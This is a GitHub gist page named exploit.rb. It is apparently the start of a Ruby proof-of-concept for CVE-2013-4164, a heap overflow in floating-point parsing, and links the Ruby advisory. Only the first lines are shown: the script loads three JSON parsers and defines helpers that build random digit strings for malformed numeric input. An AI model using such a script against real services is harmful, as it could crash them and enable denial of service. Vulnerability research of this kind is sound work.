Koji NAKAMURA kozy4324
jacopen
/ exploit.rb
Last active
December 29, 2015 07:29
CVE-2013-4164(浮動小数点数パースにおけるヒープオーバーフロー ) https://www.ruby-lang.org/ja/news/2013/11/22/heap-overflow-in-floating-point-parsing-cve-2013-4164/
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| require 'yajl' | |
| require 'json' | |
| require 'oj' | |
| def digit_pattern | |
| digit_pattern ||= rand(10000).to_s | |
| end | |
| def integer_part | |
| digit_pattern |